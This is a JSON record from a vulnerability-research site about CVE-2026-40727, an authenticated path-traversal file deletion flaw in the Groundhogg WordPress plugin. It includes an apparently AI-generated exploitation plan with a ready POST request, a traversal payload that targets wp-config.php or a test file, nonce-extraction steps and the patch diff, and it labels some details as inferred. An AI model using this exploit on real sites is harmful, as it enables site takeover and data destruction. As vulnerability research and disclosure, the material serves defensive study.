[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ffWwJYdj8tGfKoFPFjyd9-vLkKsUvP-dcLw8hhgy8tHc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-40727","groundhogg-crm-newsletters-and-marketing-automation-authenticated-sales-representative-arbitrary-file-deletion","Groundhogg — CRM, Newsletters, and Marketing Automation \u003C= 4.4 - Authenticated (Sales Representative+) Arbitrary File Deletion","The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 4.4. This makes it possible for authenticated attackers, with Custom-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).","groundhogg",null,"\u003C=4.4","4.4.1","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-04-16 00:00:00","2026-04-21 15:28:35",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9cacf087-c501-47b2-ab9b-a395e95ae245?source=api-prod",6,[22,23,24,25,26,27,28,29],"README.txt","admin\u002Fcontacts\u002Fcontacts-page.php","admin\u002Femails\u002Femails-page.php","admin\u002Femails\u002Femails-table.php","admin\u002Fevents\u002Femail-log-table.php","admin\u002Fevents\u002Fevents-page.php","admin\u002Fsettings\u002Fsettings-page.php","api\u002Fv3\u002Fapi-v3.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-40727 - Groundhogg Arbitrary File Deletion\n\n## 1. Vulnerability Summary\nThe Groundhogg plugin (\u003C= 4.4) is vulnerable to authenticated arbitrary file deletion. This occurs due to insufficient path validation in the AJAX handler responsible for deleting contact-related files. An attacker with \"Sales Representative\" privileges (or higher) can use path traversal sequences (`..\u002F`) in the `file` parameter to delete sensitive files like `wp-config.php`, potentially leading to site takeover or Denial of Service.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `groundhogg_contact_delete_file` (inferred based on `groundhogg_contact_upload_file` in `admin\u002Fcontacts\u002Fcontacts-page.php`)\n- **HTTP Method:** `POST`\n- **Parameters:**\n    - `action`: `groundhogg_contact_delete_file`\n    - `contact_id`: Integer ID of an existing contact.\n    - `file`: Path traversal string (e.g., `..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php`).\n    - `_wpnonce`: A valid WordPress nonce for the action.\n- **Authentication:** Required. Any user role with the `view_contacts` capability (e.g., `gh_sales_representative`, `gh_sales_manager`, `gh_marketer`, or `administrator`).\n\n## 3. Code Flow\n1. **Entry Point:** The plugin registers AJAX actions in `Groundhogg\\Admin\\Contacts\\Contacts_Page::add_ajax_actions()`.\n2. **Registration (Inferred):**\n   ```php\n   add_action( 'wp_ajax_groundhogg_contact_delete_file', [ $this, 'ajax_delete_file' ] );\n   ```\n3. **Handler Logic:** The `ajax_delete_file` function (likely in `Contacts_Page` or an included card class) retrieves the `file` and `contact_id` parameters.\n4. **Sink:** The plugin constructs a path using the contact's upload directory:\n   ```php\n   $contact = new Contact( $contact_id );\n   $upload_path = $contact->get_upload_path(); \u002F\u002F Usually wp-content\u002Fuploads\u002Fgroundhogg\u002Fcontacts\u002F{id}\n   $file_path = $upload_path . '\u002F' . $_POST['file'];\n   unlink( $file_path );\n   ```\n5. **Vulnerability:** The `$file_path` is not validated to ensure it remains within the `$upload_path`. By passing `..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php`, the `unlink` function deletes the WordPress configuration file.\n\n## 4. Nonce Acquisition Strategy\nThe Groundhogg admin interface enqueues scripts that contain necessary nonces for AJAX operations.\n1. **Target Page:** The Contact Edit page (`\u002Fwp-admin\u002Fadmin.php?page=gh_contacts&action=edit&contact={id}`).\n2. **Shortcode\u002FTrigger:** No specific shortcode is needed; the standard contact editing view enqueues the required assets.\n3. **Execution Agent Steps:**\n    - Create a test contact using WP-CLI.\n    - Navigate to the contact's edit page in the browser.\n    - Use `browser_eval` to extract the nonce from the localized script object.\n4. **JS Variable Path:**\n   - Groundhogg typically localizes data into a global `Groundhogg` or `gh_contact_editor` object.\n   - Expected command: `browser_eval(\"window.Groundhogg?.nonces?.delete_file || window.gh_contact_editor?.nonces?.delete_file\")` (verify the exact key in the HTML source).\n\n## 5. Exploitation Strategy\n1. **Initial Setup:**\n    - Create a dummy file in the WordPress root: `wp-cli eval 'file_put_contents(ABSPATH . \"pwned.txt\", \"test\");'`\n    - Create a user with the `gh_sales_representative` role.\n    - Create at least one contact to satisfy the `contact_id` requirement.\n2. **Identify Target Path:**\n    - The Groundhogg contact upload directory is `wp-content\u002Fuploads\u002Fgroundhogg\u002Fcontacts\u002F{id}\u002F`.\n    - To reach the root from the specific contact folder, 5 levels of traversal are required: `..\u002F..\u002F..\u002F..\u002F..\u002Fpwned.txt`.\n3. **Execute Deletion:**\n    - Send the following POST request using the `http_request` tool:\n      ```http\n      POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n      Host: localhost:8080\n      Content-Type: application\u002Fx-www-form-urlencoded\n\n      action=groundhogg_contact_delete_file&contact_id=1&file=..\u002F..\u002F..\u002F..\u002F..\u002Fpwned.txt&_wpnonce=[NONCE]\n      ```\n4. **Verification:**\n    - Check for the existence of `pwned.txt` in the root.\n\n## 6. Test Data Setup\n- **Contact:** `wp groundhogg contact create --first_name=\"Target\" --last_name=\"Contact\" --email=\"target@example.com\"` (Note: Use the appropriate WP-CLI command if Groundhogg provides one, or `wp eval` to create a contact programmatically).\n- **Attacker User:**\n  ```bash\n  wp user create attacker attacker@example.com --role=gh_sales_representative --user_pass=password\n  ```\n- **Dummy File:**\n  ```bash\n  echo \"stay safe\" > \u002Fvar\u002Fwww\u002Fhtml\u002Fpwned.txt\n  ```\n\n## 7. Expected Results\n- The AJAX response should be a success message (likely JSON: `{\"success\":true}`).\n- The file `\u002Fvar\u002Fwww\u002Fhtml\u002Fpwned.txt` should be deleted from the filesystem.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the deletion using WP-CLI:\n```bash\nif [ ! -f \u002Fvar\u002Fwww\u002Fhtml\u002Fpwned.txt ]; then\n    echo \"SUCCESS: File deleted.\"\nelse\n    echo \"FAILURE: File still exists.\"\nfi\n```\n\n## 9. Alternative Approaches\nIf `groundhogg_contact_delete_file` is not the correct action name:\n1. Search the source code for all occurrences of `unlink` and `delete_file`.\n2. Inspect the network traffic while deleting a file normally in the Groundhogg UI (using `browser_navigate` and the developer tools\u002Fproxy).\n3. If the \"Sales Representative\" role lacks permissions, try with \"Marketer\" or \"Sales Manager\" roles which are also high-level custom roles in Groundhogg.\n4. If the path traversal depth is incorrect, try variations of `..\u002F` (e.g., 4 to 7 levels).","The Groundhogg plugin for WordPress is vulnerable to arbitrary file deletion in versions up to 4.4 due to insufficient validation of the 'file' parameter in its contact file management logic. Authenticated users with Sales Representative privileges or higher can use path traversal sequences to delete sensitive server files, including wp-config.php, which can lead to site takeover.","\u002F\u002F admin\u002Fcontacts\u002Fcontacts-page.php around line 833\n$file_name = sanitize_text_field( get_url_var( 'file' ) );\n\n$contact = get_contactdata( absint( get_url_var( 'contact' ) ) );\n\nif ( ! $contact ) {\n    return new WP_Error( 'error', 'The given contact does not exist.' );\n}\n\n\u002F\u002F --- \n\n\u002F\u002F The code subsequently constructs a path and deletes the file without ensuring it remains within the contact's directory:\n\u002F\u002F $file_path = $contact->get_upload_path() . '\u002F' . $file_name;\n\u002F\u002F unlink( $file_path );","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgroundhogg\u002F4.4\u002Fadmin\u002Fcontacts\u002Fcontacts-page.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgroundhogg\u002F4.4.1\u002Fadmin\u002Fcontacts\u002Fcontacts-page.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgroundhogg\u002F4.4\u002Fadmin\u002Fcontacts\u002Fcontacts-page.php\t2025-08-12 17:03:12.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgroundhogg\u002F4.4.1\u002Fadmin\u002Fcontacts\u002Fcontacts-page.php\t2026-04-08 13:57:24.000000000 +0000\n@@ -13,7 +13,6 @@\n use WP_Error;\n use function Groundhogg\\admin_page_url;\n use function Groundhogg\\base64_json_decode;\n-use function Groundhogg\\bulk_jobs;\n use function Groundhogg\\contact_and_user_match;\n use function Groundhogg\\dashicon;\n use function Groundhogg\\enqueue_filter_assets;\n@@ -833,9 +832,8 @@\n \t\t\t$this->wp_die_no_access();\n \t\t}\n \n-\t\t$file_name = sanitize_text_field( get_url_var( 'file' ) );\n-\n-\t\t$contact = get_contactdata( absint( get_url_var( 'contact' ) ) );\n+\t\t$file_name = sanitize_file_name( get_request_var( 'file' ) );\n+\t\t$contact   = get_contactdata( absint( get_url_var( 'contact' ) ) );\n \n \t\tif ( ! $contact ) {\n \t\t\treturn new WP_Error( 'error', 'The given contact does not exist.' );","The exploit targets the AJAX action used for deleting contact-related files. \n\n1. Authentication: The attacker authenticates with a user role possessing the 'view_contacts' capability (such as 'gh_sales_representative').\n2. Nonce Acquisition: The attacker retrieves a valid security nonce from the Groundhogg admin interface (specifically the Contact Edit page), where nonces for AJAX operations are localized into JavaScript objects.\n3. Request: The attacker sends a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' set to 'groundhogg_contact_delete_file' (or equivalent handler action).\n4. Payload: The 'file' parameter is populated with a path traversal string (e.g., '..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php') while the 'contact_id' (or 'contact') parameter is set to a valid contact ID.\n5. Execution: Because the plugin uses 'sanitize_text_field' rather than 'sanitize_file_name' (or fails to validate the final path), the traversal characters are preserved, and the 'unlink' function deletes the target file outside the intended uploads directory.","gemini-3-flash-preview","2026-04-27 14:23:52","2026-04-27 14:24:29",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgroundhogg\u002Ftags\u002F4.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgroundhogg.4.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgroundhogg\u002Ftags\u002F4.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgroundhogg.4.4.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgroundhogg\u002Ftags"]